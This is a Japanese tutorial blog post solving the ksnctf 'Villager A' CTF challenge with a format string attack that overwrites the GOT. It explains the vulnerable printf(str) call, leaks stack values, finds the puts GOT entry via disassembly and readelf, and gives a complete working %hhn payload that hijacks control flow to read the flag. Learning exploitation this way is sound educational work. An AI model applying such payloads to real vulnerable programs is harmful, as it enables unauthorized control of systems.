Format String AttackによるGOT overwrite(2020/05/02)
(2022/1/17)Qiitaからhatenaに移行しました。
GOTとは
GOT(Global Offset Table)とは、共有ライブラリのシンボルが参照されている領域です。ELFではPLT(Procedure Linkage Table)からGOTにジャンプし、共有ライブラリを参照しています。ライブラリ関数を管理している領域みたいなイメージだと思います。
参照 https://tkmr.hatenablog.com/entry/2017/02/28/030528 https://qiita.com/saikoro-steak/items/f9bf534f8fc5f2be3b0e
format string attackによるGOT overwrite
ここでは、ksnctfのVillager A(村人A)を使って説明していきます。 https://ksnctf.sweetduet.info/problem/4
format string attack
Villager Aで与えられる実行ファイルはformat string attackの脆弱性があります。 format string attack(書式文字列攻撃)とは、printf()、sprintf()などの関数が持つ脆弱性で、ユーザーが入力した文字列がそのまま出力される場合に可能となります。
char str[128]; fgets(str, 128, stdin); printf(str);
このような場合に、フォーマット指定子である%p
、%x
などを入力することでスタックのデータを読み出すことができる脆弱性です。Villager Aでは以下のような結果になります。
[q4@localhost ~]$ ./q4 What's your name? AAAA,%p,%p,%p,%p,%p,%p,%p Hi, AAAA,0x400,0x3b18c0,0x8,0x14,0x907fc4,0x41414141,0x2c70252c
"0x400"以降はスタックの値が読み出されています。ここで、ユーザーが入力した文字列が6番目の0x41414141(AAAA)、7番目の0x2c70252c(,%p,)に読み出されていることがわかりますね。この脆弱性を使い、GOT overwriteを行うことで、メモリアドレスの書き換えを行います。
攻撃の下調べ
村人Aの実行ファイル'q4'は、fopen関数がflag.txtを実行してflagを得る構造になっていますが、callされる直前にjne命令によって回避されています。よって、fopen関数を呼び出せるようにメモリアドレスを書き換えれば、flagをゲットできるということになります。 今回は、puts関数を使ってexploitします。putcharなどの関数でも可能です。
080485b4 <main>: 80485b4: 55 push ebp 80485b5: 89 e5 mov ebp,esp 80485b7: 83 e4 f0 and esp,0xfffffff0 80485ba: 81 ec 20 04 00 00 sub esp,0x420 80485c0: c7 04 24 a4 87 04 08 mov DWORD PTR [esp],0x80487a4 80485c7: e8 f8 fe ff ff call 80484c4 <puts@plt> 80485cc: a1 04 9a 04 08 mov eax,ds:0x8049a04 80485d1: 89 44 24 08 mov DWORD PTR [esp+0x8],eax 80485d5: c7 44 24 04 00 04 00 mov DWORD PTR [esp+0x4],0x400 80485dc: 00 80485dd: 8d 44 24 18 lea eax,[esp+0x18] 80485e1: 89 04 24 mov DWORD PTR [esp],eax 80485e4: e8 9b fe ff ff call 8048484 <fgets@plt> 80485e9: c7 04 24 b6 87 04 08 mov DWORD PTR [esp],0x80487b6 80485f0: e8 bf fe ff ff call 80484b4 <printf@plt> 80485f5: 8d 44 24 18 lea eax,[esp+0x18] 80485f9: 89 04 24 mov DWORD PTR [esp],eax 80485fc: e8 b3 fe ff ff call 80484b4 <printf@plt> 8048601: c7 04 24 0a 00 00 00 mov DWORD PTR [esp],0xa 8048608: e8 67 fe ff ff call 8048474 <putchar@plt> 804860d: c7 84 24 18 04 00 00 mov DWORD PTR [esp+0x418],0x1 8048614: 01 00 00 00 8048618: eb 67 jmp 8048681 <main+0xcd> 804861a: c7 04 24 bb 87 04 08 mov DWORD PTR [esp],0x80487bb 8048621: e8 9e fe ff ff call 80484c4 <puts@plt> 8048626: a1 04 9a 04 08 mov eax,ds:0x8049a04 804862b: 89 44 24 08 mov DWORD PTR [esp+0x8],eax 804862f: c7 44 24 04 00 04 00 mov DWORD PTR [esp+0x4],0x400 8048636: 00 8048637: 8d 44 24 18 lea eax,[esp+0x18] 804863b: 89 04 24 mov DWORD PTR [esp],eax 804863e: e8 41 fe ff ff call 8048484 <fgets@plt> 8048643: 85 c0 test eax,eax 8048645: 0f 94 c0 sete al 8048648: 84 c0 test al,al 804864a: 74 0a je 8048656 <main+0xa2> 804864c: b8 00 00 00 00 mov eax,0x0 8048651: e9 86 00 00 00 jmp 80486dc <main+0x128> 8048656: c7 44 24 04 d1 87 04 mov DWORD PTR [esp+0x4],0x80487d1 804865d: 08 804865e: 8d 44 24 18 lea eax,[esp+0x18] 8048662: 89 04 24 mov DWORD PTR [esp],eax 8048665: e8 7a fe ff ff call 80484e4 <strcmp@plt> 804866a: 85 c0 test eax,eax 804866c: 75 13 jne 8048681 <main+0xcd> 804866e: c7 04 24 d5 87 04 08 mov DWORD PTR [esp],0x80487d5 8048675: e8 4a fe ff ff call 80484c4 <puts@plt> 804867a: b8 00 00 00 00 mov eax,0x0 804867f: eb 5b jmp 80486dc <main+0x128> 8048681: 8b 84 24 18 04 00 00 mov eax,DWORD PTR [esp+0x418] 8048688: 85 c0 test eax,eax 804868a: 0f 95 c0 setne al 804868d: 84 c0 test al,al 804868f: 75 89 jne 804861a <main+0x66> 8048691: c7 44 24 04 e6 87 04 mov DWORD PTR [esp+0x4],0x80487e6 8048698: 08 8048699: c7 04 24 e8 87 04 08 mov DWORD PTR [esp],0x80487e8 80486a0: e8 ff fd ff ff call 80484a4 <fopen@plt> 80486a5: 89 84 24 1c 04 00 00 mov DWORD PTR [esp+0x41c],eax 80486ac: 8b 84 24 1c 04 00 00 mov eax,DWORD PTR [esp+0x41c] 80486b3: 89 44 24 08 mov DWORD PTR [esp+0x8],eax 80486b7: c7 44 24 04 00 04 00 mov DWORD PTR [esp+0x4],0x400 80486be: 00 80486bf: 8d 44 24 18 lea eax,[esp+0x18] 80486c3: 89 04 24 mov DWORD PTR [esp],eax 80486c6: e8 b9 fd ff ff call 8048484 <fgets@plt> 80486cb: 8d 44 24 18 lea eax,[esp+0x18] 80486cf: 89 04 24 mov DWORD PTR [esp],eax 80486d2: e8 dd fd ff ff call 80484b4 <printf@plt> 80486d7: b8 00 00 00 00 mov eax,0x0 80486dc: c9 leave 80486dd: c3 ret 80486de: 90 nop 80486df: 90 nop
080484c4 <puts@plt>: 80484c4: ff 25 f4 99 04 08 jmp DWORD PTR ds:0x80499f4 80484ca: 68 30 00 00 00 push 0x30 80484cf: e9 80 ff ff ff jmp 8048454 <_init+0x30>
GOT領域のアドレスは、objdumpなどの逆アセンブラでも確認できますが、readelfコマンドでも同様に調べることができます。
[q4@localhost ~]$ readelf -r q4 Relocation section '.rel.dyn' at offset 0x3cc contains 2 entries: Offset Info Type Sym.Value Sym. Name 080499cc 00000106 R_386_GLOB_DAT 00000000 __gmon_start__ 08049a04 00000b05 R_386_COPY 08049a04 stdin Relocation section '.rel.plt' at offset 0x3dc contains 9 entries: Offset Info Type Sym.Value Sym. Name 080499dc 00000107 R_386_JUMP_SLOT 00000000 __gmon_start__ 080499e0 00000307 R_386_JUMP_SLOT 00000000 putchar 080499e4 00000407 R_386_JUMP_SLOT 00000000 fgets 080499e8 00000507 R_386_JUMP_SLOT 00000000 __libc_start_main 080499ec 00000607 R_386_JUMP_SLOT 00000000 fopen 080499f0 00000707 R_386_JUMP_SLOT 00000000 printf 080499f4 00000807 R_386_JUMP_SLOT 00000000 puts 080499f8 00000c07 R_386_JUMP_SLOT 080484d4 __gxx_personality_v0 080499fc 00000907 R_386_JUMP_SLOT 00000000 strcmp
puts関数のアドレスが0x80499f4
に書き込まれることがわかります。よって0x80499f4
をfopen関数の処理が始まる0x8048691
に書き換えればよいということになります。
Exploit
メモリの書き込みには、%n
系と呼ばれるフォーマット指定子を使います。この指定子は、指定したスタックに出力バイト数を書き込んでくれます。指定子の間に数字と$を入れることで、char型で何番目のスタックに書き込むか指定することができます(%5$n
など)。%n系には以下のような種類があります。
フォーマット指定子 | 書き込みバイト数 |
---|---|
%n | 4 |
%hn | 2 |
%hhn | 1 |
[q4@localhost ~]$ echo 'AAAA%6$hhn' | ./q4
この場合、スタックの6番目に0x41414141(AAAA)が格納され、0x41414141番地にAAAAの出力バイト数"4"が格納されます。つまり、'AAAA'の部分に書き込むアドレスと格納したい値をうまく調節してprinf関数に出力させれば、処理を自由に操れるということです。
今回は、先述したように0x80499f4
(puts関数が書き込まれるGOT領域のアドレス)を0x8048691
(fopen関数の処理が始まるアドレス)に書き換えます。結論から言うと、以下のような文字列になります。
[q4@localhost ~]$ echo -e '\xf4\x99\x04\x08\xf5\x99\x04\x08\xf6\x99\x04\x08\xf7\x99\x04\x08%129c%6$hhn%245c%7$hhn%126c%8$hhn%4c%9$hhn' | ./q4
考え方
文字列の冒頭(図の赤字)の部分では、書き込み先の番地を書き込んでいます。この実行ファイルは32bitのELFのため、書き込み先の番地に格納するアドレスは32bitとなります。なので、書き込み先の番地は0x80499f4〜0x80499f7
に1byteずつ格納していきます。それぞれの番地と値は以下のようになります(図参照)。このときリトルエンディアンに注意してください。
書き込み先の番地 | 格納する値 |
---|---|
0x80499f4 | 0x91 |
0x80499f5 | 0x86 |
0x80499f6 | 0x04 |
0x80499f7 | 0x08 |
続いて、それぞれの番地に格納したい値を調節して出力させていきます。調節には、%c
という指定したバイト数だけ出力してくれるフォーマット指定子を使います。
はじめに、0x80499f4
番地に0x91(145)
を格納します。赤字の部分で既に16byte出力されているので、145(0x91の10進数)から16を引いた129byte分を%cで補います。ユーザーが出力した文字列が6番目のスタックから読み出されるため、%129c%6$hhn
となります。
次に0x80499f5
番地に0x86(134)
を格納しますが、ここで注意が必要です。既に145byte出力しているのに対して、それより下の値を書き込まなければなりません。この場合、256byte(0x100)をまたぐことで問題が解消されます。%hhn
は1byteずつ書き込む指定子のため、値の下位8bit(下2桁)しか書き込みません。256をまたぐことで16進数の桁が上がり、下2桁が00から始まるため、格納したい値が既に出力した値よりも低い場合でも、256を一区切りとして調節すればいいことになります。
以上を踏まえると、256から145を引いた値に134を足すことで、0x186となり下位2桁の0x86を書き込めます。よって%245c%7$hhn
となります。
あとの2つも同様に計算することで(図参照)GOT領域のアドレスに任意の値を格納することができます。
以上がformat string attackによるGOT overwriteの説明でした。
まとめ
村人Aを解いたのは半年以上前ですが、なぜ256を超えなければいけなのか当時1週間くらい理解できなかったのを覚えています。これはハリネズミ本にも書かれている入門テクニックなのでPwnを始めたばかりの私にとってはきちんと理解しておくべき内容でした。
@k-onishi さんのhttps://qiita.com/k-onishi/items/9cf7fc49107e6ff61115 にもほぼ同じ内容で詳しく書かれているので、こちらの記事もおすすめです。
お疲れ様でした。